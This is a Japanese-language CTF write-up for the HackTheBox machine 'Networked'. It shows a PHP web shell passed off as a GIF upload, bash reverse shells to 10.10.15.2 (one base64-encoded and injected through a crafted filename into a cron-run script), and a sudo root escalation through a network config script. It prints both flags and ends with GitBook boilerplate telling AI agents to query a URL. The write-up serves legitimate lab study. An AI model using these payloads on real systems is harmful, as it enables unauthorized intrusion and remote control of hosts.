> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/networked-hackthebox-writeup.md). # Networked HackTheBox 攻略記事 Networked HackTheBox Linux 攻略記事。Web 列挙、アップロード回避、コマンドインジェクション、sudo 権限昇格をカバー。 {% embed url="" %} {% hint style="warning" %} **スキル:** * Web列挙とソースコードレビュー * ファイルアップロード検証のバイパス * Cronジョブのコマンドインジェクション * sudoの誤設定の悪用 {% endhint %} ## 偵察 ### 作業環境の準備ワークスペースを作成し、ターゲットへの接続を確認する。 ```bash mkt ping -c 1 10.129.5.171 ``` この応答により、ターゲットがLinuxホストであることが確認できる。

### TCPスキャンフルポートスキャンで公開されているTCPサービスを特定する。 ```bash sudo nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.129.5.171 -oG allPorts ``` スキャンでポートが特定される `22` および `80`.

### サービスおよびバージョンスキャン公開ポートで動作しているサービスとバージョンを特定する。 ```bash nmap -sCV -p22,80 10.129.5.171 -oN targeted ``` ホストはApacheを実行している `2.4.6` CentOS上でPHPを使用している `5.4.16`.

### ポート80 Webサイトには次のメッセージが表示される: > やあ、FaceMashの新バージョンを作っています！\ > 資金提供で手伝って、次のTyler\&Cameronになってください！\ > 今度の土曜のプールパーティーに来て、少しだけ覗いてみてください

Gobusterでディレクトリを列挙する。 ```bash gobuster dir -u http://10.129.5.171 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 100 ``` スキャンにより `/backup` および `/uploads`.

その `/backup` ディレクトリにTARアーカイブがあることが判明する。

アーカイブをローカルに展開する。 ```bash tar xopf foo.tar ``` アーカイブには4つのPHPファイルが含まれている: * `index.php` * lib.php * photos.php * upload.php その `upload.php` ページにはアップロードフォームがある。

アプリケーションが画像形式を検証するため、直接PHPをアップロードしても失敗する。 ```bash " . shell_exec($_GET['cmd']) . ""; ?> ``` アプリケーションはファイルを無効な画像として拒否する。

GIFヘッダーと `.php.gif` 拡張子を持つファイルをアップロードする。 ```bash Content-Disposition: form-data; name="myFile"; filename="cmd.php.gif" Content-Type: application/x-php GIF89a " . shell_exec($_GET['cmd']) . ""; ?> ``` アプリケーションはアップロードを受け付ける。

アップロードされたファイルはGIF拡張子にもかかわらずPHPコードを実行する。 ```bash http://10.129.5.171/uploads/10_10_15_2.php.gif?cmd=id ```

ポートでリスナーを起動する `443`. ```bash sudo nc -nvlp 443 ``` コマンド実行を利用してリバースシェルを返す。 ```bash bash -c "bash -i >%26 /dev/tcp/10.10.15.2/443 0>%261" ```

### 次に移動する `guly` スケジュールされたタスクが `/home/guly/check_attack.php` を3分ごとに実行する。 ```bash */3 * * * * php /home/guly/check_attack.php ``` スクリプトは以下のファイルを調べる `/var/www/html/uploads/`. ```php $value) { $msg=''; if ($value == 'index.html') { continue; } #echo "-------------\n"; #print "check: $value\n"; list ($name,$ext) = getnameCheck($value); $check = check_ip($name,$value); if (!($check[0])) { echo "attack!\n"; # todo: attach file file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX); exec("rm -f $logpath"); exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &"); echo "rm -f $path$value\n"; mail($to, $msg, $msg, $headers, "-F$value"); } } ?> ``` スクリプトは各ファイル名を安全に扱わずにシェルコマンドへ渡している。細工したファイル名でコマンドを注入する。リバースシェルのペイロードをエンコードする。 ```bash echo "bash -i >& /dev/tcp/10.10.15.2/4444 0>&1" | base64 ``` エンコードされたペイロードは次のとおり: ``` YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yLzQ0NDQgMD4mMQo= ``` 悪意のあるファイル名を作成する。 ```bash touch ";echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yLzQ0NDQgMD4mMQo=' | base64 -d | bash;" ``` ポートでリスナーを起動する `4444`そしてスケジュールされたタスクを待つ。 ```bash nc -nvlp 4444 ```

スケジュールされたタスクは次のユーザーとしてシェルを返す `guly`.

### user.txtフラグ ``` fbeee367bab941cefca951caef664f27 ```

### 権限昇格実行可能なコマンドを確認する `guly` 使って `sudo`. ```bash sudo -l ``` ユーザーは次を実行できる `/usr/local/sbin/changename.sh` として `root`.

スクリプトはユーザー制御の値をネットワーク設定ファイルへ書き込む。 ```bash #!/bin/bash -p cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF DEVICE=guly0 ONBOOT=no NM_CONTROLLED=no EoF regexp="^[a-zA-Z0-9_\ /-]+$" for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do echo "interface $var:" read x while [[ ! $x =~ $regexp ]]; do echo "wrong input, try again" echo "interface $var:" read x done echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly done /sbin/ifup guly0 ``` 入力フィルタはスペースとスラッシュを許可する。 `ifup` が生成された設定を処理すると、 `test /bin/sh` シェルを起動する。スクリプトを実行する。 ```bash sudo /usr/local/sbin/changename.sh ``` どのプロンプトでも、次を入力する: ``` test /bin/sh ``` これにより次のユーザーとしてシェルが開く `root`.

### root.txt フラグ

``` 6fa61de6fa918d2db507070fec1364e8 ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/networked-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.